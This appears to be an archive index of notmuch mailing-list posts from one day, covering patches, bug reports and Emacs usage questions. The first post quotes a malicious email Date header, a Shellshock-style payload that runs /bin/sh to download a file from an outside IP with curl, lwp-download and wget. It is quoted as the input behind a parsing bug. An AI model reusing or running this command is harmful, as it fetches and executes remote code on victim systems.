Re: bug: notmuch cannot handle invalid Date fields

2017-03-11 Thread David Bremner
Johannes Schauer writes: > Hi, > > I recently received an email with the following date field (the value of all > other headers is the same): > > Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO > 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget >

Re: [bug] notmuch doesn't commit changes before an open transaction on close

2017-03-11 Thread David Bremner
Steven Allen writes: > Notmuch claims to commit changes made before an open transaction on > close but actually throws them away (according to the documentation). > > According to the notmuch documentation, > >> For writable databases, notmuch_database_close commits all

Re: [PATCH] Add a method to reparent threads to the database.

2017-03-11 Thread David Bremner
Steven Allen writes: > I'm writing high-level rust bindings for notmuch and would like to > enable encapsulation of query logic. That is, I'd like to be able to > write a function that performs a (set of) query(s) and returns a (or a > set of) message(s)/thread(s). I can't

Re: Notmuch Emacs reply format=JSON

2017-03-11 Thread David Bremner
bserrao writes: > Hello, > > I need some help in changing the default reply format to JSON in > notmuch-emacs. > I've looked in the docs and there's this option: > I'm afraid I don't understand what behaviour you want. Internally notmuch-emacs uses --format=sexp to

Re: [PATCH] cli/new: Avoid printing "\033[K" to non-terminal output

2017-03-11 Thread Łukasz Stelmach
Tomi Ollila wrote: >It was <2017-03-09 czw 13:35>, when David Bremner wrote: >> Łukasz Stelmach writes: >> >>> --- >>> notmuch-new.c | 5 ++--- >>> 1 file changed, 2 insertions(+), 3 deletions(-) >>> >>> diff --git a/notmuch-new.c b/notmuch-new.c >>> index

Feature request: Interface for marking non-consecutive messages in a saved-search

2017-03-11 Thread rmrf
Hello, In the notmuch-emacs interface, it is not possible to mark non-consecutive messages in a saved-search view and then associate tags to all those marked messages at once. A feature that would be useful would be one that allows an alternate interface for marking messages and then

Notmuch Emacs reply format=JSON

2017-03-11 Thread bserrao
Hello, I need some help in changing the default reply format to JSON in notmuch-emacs. I've looked in the docs and there's this option: "Supported options for reply include --format=(default|json|sexp|headers-only)" But i can't figure out how to setup emacs to use this option. (Sorry, i guess

Re: [PATCH 5/7] emacs: hello: require cl

2017-03-11 Thread David Bremner
Mark Walters writes: > > -(eval-when-compile (require 'cl)) > +(require 'cl) > (require 'widget) > (require 'wid-edit) ; For `widget-forward'. > > @@ -1017,3 +1017,7 @@ (defun notmuch-folder () > ;; > > (provide 'notmuch-hello) > + > +;; Local Variables: > +;;

Re: [PATCH 1/7] emacs: hello: separate out the saved-search display function

2017-03-11 Thread David Bremner
Mark Walters writes: > Separate the code that prints a saved-search and count into its own > function. Hi Mark; After the first patch, this series doesn't apply any more because of conflicts. d ___ notmuch mailing list

Re: [PATCH v2 2/2] emacs: tag: allow non-automatically-reversible tag operations

2017-03-11 Thread David Bremner
Mark Walters writes: > This lets the user specify some tag changes as #tag or =tag which mean > the same as +tag and -tag except the reverse changes are not applied > when reversing the operation. This was originally written at my request, but I've been getting along

Re: [RFC 5/5] cli: print number of ignored non-mails encountered in notmuch new scan

2017-03-11 Thread David Bremner
Jani Nikula writes: > > +if (state->ignored_non_mails) > + printf (" Ignored %d non-mail %s. (Use 'notmuch config append > new.ignore [...]' to ignore explicitly.)", > + state->ignored_non_mails, > + state->ignored_non_mails == 1 ? "file" :

Re: [RFC 3/5] cli: support shell globbing patterns in new.ignore

2017-03-11 Thread David Bremner
Jani Nikula writes: > Keep the existing strcmp on the basename for backwards compatibility, > and additionally use the new.ignore entries as fnmatch(3) patterns on > the absolute filename. Note that it's not enough to add e.g. "foo*bar" > to the list; you will need to do

Re: [PATCH] lib/database: reduce try block scope to things that really need it

2017-03-11 Thread David Bremner
Jani Nikula writes: > No need to maintain the pure C stuff within a try block, it's arguably > confusing. This also reduces indent for a bunch of code. No functional > changes. pushed to master, d ___ notmuch mailing list

Re: [PATCH] emacs: remove use of message-send-hook

2017-03-11 Thread David Bremner
Mark Walters writes: > We use message-send-hook for two things -- tagging drafts deleted, and > tagging replied the parent message of a reply. We should not use > message-send-hook as that will affect gnus etc too. Moreover, > message-send-hook is run before the

Re: [RFC PATCH 6] support make goals after initial {'', dist, data}clean goal(s)

2017-03-11 Thread David Bremner
Tomi Ollila writes: > Now make goal combinations starting with *clean goals, > ending with *clean coals, and having non-*clean goals in between > should work. What does not expected to work are > non-*clean - *clean - *non-clean goal combinations. > pushed, already

Re: [PATCH] emacs: remove use of message-send-hook

2017-03-11 Thread David Bremner
Mark Walters writes: > Hi > >> Would it be possible to concatenate the two lists and only call >> notmuch-tag once? It seems like that should be notably faster. > > I think that it's not possible as they are tagging different > messages. We could probably do something